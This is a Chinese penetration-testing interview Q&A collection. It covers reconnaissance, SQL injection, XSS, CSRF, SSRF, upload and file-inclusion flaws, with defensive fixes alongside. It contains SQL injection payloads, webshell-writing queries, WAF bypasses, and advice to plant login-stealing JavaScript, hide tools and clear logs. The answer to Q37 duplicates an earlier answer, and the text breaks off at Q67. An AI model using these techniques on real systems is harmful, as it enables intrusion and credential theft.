精选文章 渗透测试 QA 收集

渗透测试 QA 收集

作者:whatday 时间: 2020-07-24 04:19:33
whatday 2020-07-24 04:19:33

目录

1、拿到一个待检测的站,你觉得应该先做什么?

2、判断出网站的CMS对渗透有什么意义?

3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

4.常见的网站服务器容器。

5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

6.目前已知哪些版本的容器有解析漏洞,具体举例。

7.如何手工快速判断目标站是windows还是linux服务器?

8.为何一个mysql数据库的站,只有一个80端口开放?

9、3389无法连接的几种情况

10.如何突破注入时字符被转义?

11.在某后台新闻编辑界面看到编辑器,应该先做什么?

12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

13.注入漏洞只能查账号密码?

14.安全狗会追踪变量,从而发现出是一句话木马吗?

15.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?

16.提权时选择可读写目录,为何尽量不用带空格的目录?

17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

19:某个防注入系统,在注入时会提示:

20、如何利用这个防注入系统拿shell?

21.上传大马后访问乱码时,有哪些解决办法?

22.审查上传点的元素有什么意义?

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

24.目标站发现某txt的下载地址为

25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

35、CSRF、SSRF和重放攻击有什么区别?

36、说出至少三种业务逻辑漏洞,以及修复方式?

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

38、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。

39、sqlmap,怎么对一个注入点注入?

40、nmap,扫描的几种方式

41、sql注入的几种类型?

42、报错注入的函数有哪些?10个

43、延时注入如何来判断?

44、盲注和延时注入的共同点?

45、如何拿一个网站的webshell?

46、sql注入写文件都有哪些函数?

47、如何防止CSRF?

48、owasp 漏洞都有哪些?

49、SQL注入防护方法?

50、代码执行,文件读取,命令执行的函数都有哪些?

51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

53、为什么aspx木马权限比asp大?

54、如何绕过waf?

55、如何向服务器写入webshell?

56、渗透测试中常见的端口

57、为什么参数化查询可以防止SQL注入

58、SQL头注入点

59、盲注是什么?怎么盲注?

60、宽字节注入产生原理以及根本原因

1、产生原理

2、在哪里编码

3、根本原因

4、解决办法

5、SQL里面只有update怎么利用

61、SQL如何写shell/单引被过滤怎么办

1、代替空格的方法

2、mysql的网站注入,5.0以上和5.0以下有什么区别

62、XSS

1、XSS原理

2、DOM型和反射型的区别

3、DOM型和XSS自动化测试或人工测试

4、如何快速发现XSS位置

5、对于XSS怎么修补建议

6、XSS蠕虫的生产条件

63、CSRF

1、CSRF原理

2、防御

3、token和referer做横向对比,谁安全等级高?

4、对referer的验证,从什么角度去做?如果做,怎么杜绝问题

5、针对token,对token测试会注意哪方面被人,会对token的哪方面进行测试?

64、SSRF

1、监测

2、SSRF漏洞的成因 防御 绕过

65、上传

1、文件上传漏洞原理

2、常见的上传绕过方式

3、防护

4、审查上传点的元素有什么意义?

66、文件包含

1、原理

2、导致文件包含的函数

3、本地文件包含

67、逻辑漏扫

1、金融行业常见逻辑漏洞

68、中间人攻击

69、ARP欺骗

原理

防护

70、DDOS

1、DDOS原理

2、DOSS防护

71、提权

MySQL两种提权方式

72、特殊漏洞

产生原因

条件:

方法:

修复

防护

利用

漏洞加固

原理

73、安全知识

1、WEB

2、PHP

3、数据库

4、系统

5、密码学

6、TCP/IP

7、流量分析

8、防火墙

74、Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

75、XXE 漏洞原理,代码审计如何寻找

76、SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?

77、应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件

78、struts2框架漏洞原理

79、JAVA反序列化原理

80、问:cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用?

81、phar协议如何利用,php伪协议input与post数据包发送有什么区别?

82、内网服务器,如何进行信息收集

83、内网黄金票据、白银票据的区别和利用方式

84、docker远程api漏洞原理

85、ssrf怎么用redis写shell

1.SSRF服务端请求伪造

2.如webligic SSRF漏洞

86、预编译能否100%防sql注入,如果不能,写一个

87、WAF 绕过

88、SQL注入构造payload

1.布尔型盲注

2.时间型盲注

3.利用报错回显

89、UDF提权原理

90、XSS弹窗函数及常见的 XSS 绕过策略

1.alert,confirm,prompt三种函数

2.绕过策略

91、Windows cmd 如何下载文件

92、SVN/GIT源代码泄露**

93、reverse_tcp 和 bind_tcp 的区别

94、什么是fastjson,有哪些漏洞?

3.fastjson漏洞历史

95、漏洞的理解

96、MySQL写WebShell有几种方式,利用条件

97、phpmyadmin写sehll的方法

98、权限维持的方法

windows:

Linux

MSF权限维持

Powershell权限维持

CS权限维持

99、在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

100、什么是Kali Linux?

101、什么是Linux内核?

102、Linux的组成部分是什么?

103、使用哪个命令检查占用的内存?

104、什么是grep命令?

105、什么是渗透测试?

106、进行渗透测试的目的是什么?

107、漏洞测试和渗透测试有什么区别?

108、渗透测试方法有哪些?

109、什么是跨站点脚本?

110、什么是嗅探和欺骗?

111、什么是DDos攻击?

112、什么是Diffie-Hellman公钥交换?

113、什么是密码学?

114、防火墙的用途是什么?

115、什么是traceroute?

116、可以从Web应用程序接收哪些响应代码?

117、Kali Linux是否支持我的$ wireless_card?

118、Armitage不显示数据库主机的原因?

119、我们如何在Kali Linux上运行Armitage?

120、如果你在Kali Linux上遇到数据库错误, 该如何解决?

121、如何对互联网地址使用Armitage?

122、哪种平台最适合Metasploit, Linux或Windows?

123、什么是透视?

124、你如何保护服务器?

125、为什么DNS监控很重要?

126、编码, 加密和哈希之间的区别?

127、我们如何加强用户身份验证?

128、云和本地网络安全之间的区别。

129、网络入侵攻击有哪些不同阶段?


1、拿到一个待检测的站,你觉得应该先做什么?

信息收集
a、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。

b、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

d、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

e、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
f、google hack 进一步探测网站的信息,后台,敏感文件

漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

漏洞利用
利用以上的方式拿到webshell,或者其他权限

权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

日志清理

总结报告及修复方案

2、判断出网站的CMS对渗透有什么意义?

查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4.常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞,具体举例。

a、IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名

b、IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

c、Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。空字节代码 xxx.jpg.php

d、Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

e、lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7.如何手工快速判断目标站是windows还是linux服务器?

linux大小写敏感,windows大小写不敏感。

8.为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

9、3389无法连接的几种情况

没开放3389 端口
端口被修改
防护拦截
处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

宽字符注入
hex编码绕过

11.在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:
插入

 SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

13.注入漏洞只能查账号密码?

只要权限广,拖库脱到老。

14.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

15.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

16.提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

21.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

22.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。
其实有些站点,在登陆处也会这样提示
所有和数据库有交互的地方都有可能有注入。

24.目标站发现某txt的下载地址为

http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录。

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

38、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。

39、sqlmap,怎么对一个注入点注入?

1)如果是get型号,直接,sqlmap -u "诸如点网址".
2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"

40、nmap,扫描的几种方式

41、sql注入的几种类型?

1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入

42、报错注入的函数有哪些?10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));

43、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延时注入的共同点?

都是一个字符一个字符的判断

45、如何拿一个网站的webshell?

上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

46、sql注入写文件都有哪些函数?

select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '' into dumpfile  'd:\wwwroot\baidu.com\nvhack.php';

47、如何防止CSRF?

1)验证referer
2)验证token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些?

1)SQL注入防护方法:
2)失效的身份认证和会话管理
3)跨站脚本攻击XSS
4)直接引用不安全的对象
5)安全配置错误
6)敏感信息泄露
7)缺少功能级的访问控制
8)跨站请求伪造CSRF
9)使用含有已知漏洞的组件
10)未验证的重定向和转发

49、SQL注入防护方法?

1)使用安全的API
2)对输入的特殊字符进行Escape转义处理
3)使用白名单来规范化输入验证方法
4)对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5)服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

50、代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),read 

file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3)命令执行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg  会以php方式来解析

53、为什么aspx木马权限比asp大?

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

54、如何绕过waf?

大小写转换法
干扰字符 /!/
编码 base64 unicode hex url ascll
复参数

55、如何向服务器写入webshell?

各种上传漏洞
mysql具有写入权限,用sql语句写入shell
http put方法

56、渗透测试中常见的端口

a、web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

b、数据库类(扫描弱口令)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

c、特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

d、常用端口类(扫描弱口令/端口爆破)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

ALL、端口合计详情

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

57、为什么参数化查询可以防止SQL注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

58、SQL头注入点

UA
REFERER
COOKIE
IP

59、盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

60、宽字节注入产生原理以及根本原因

1、产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。

2、在哪里编码

3、根本原因

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

4、解决办法

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

5、SQL里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

a、修改 homepage 值为http://xxx.net', userlevel='3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

b、修改 password 值为mypass)' WHERE username='admin'#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c、修改 id 值为' OR username='admin'之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

61、SQL如何写shell/单引被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径 outfile函数

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY ''

http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

宽字节注入

1、代替空格的方法

%0a、%0b、%a0 等
/**/ 等注释符
<>

2、mysql的网站注入,5.0以上和5.0以下有什么区别

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

62、XSS

1、XSS原理

反射型

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功

存储型

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

2、DOM型和反射型的区别

反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。DOM型:通过修改页面的DOM节点形成的XSS。DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。

3、DOM型和XSS自动化测试或人工测试

人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。

在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。

4、如何快速发现XSS位置

5、对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

除此之外,还有做HTTPOnly对Cookie劫持做限制。

6、XSS蠕虫的生产条件

正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。
不一定需要存储型XSS

63、CSRF

1、CSRF原理

CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

2、防御

验证Referer
添加token

3、token和referer做横向对比,谁安全等级高?

token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

4、对referer的验证,从什么角度去做?如果做,怎么杜绝问题

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

5、针对token,对token测试会注意哪方面被人,会对token的哪方面进行测试?

引用一段请教前辈的回答:

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有可能是缓存、日志、get,也有可能是利用跨站
很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的

64、SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

1、监测

SSRF漏洞的验证方法:

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]

2、SSRF漏洞的成因 防御 绕过

成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。

65、上传

1、文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

2、常见的上传绕过方式

前端js验证:禁用js/burp改包
大小写
双重后缀名
过滤绕过 pphphp->php

3、防护

文件上传目录设置为不可执行
使用白名单判断文件上传类型
用随机数改写文件名和路径

4、审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

66、文件包含

1、原理

引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件;
用户能够控制该动态变量。

2、导致文件包含的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

3、本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

67、逻辑漏扫

1、金融行业常见逻辑漏洞

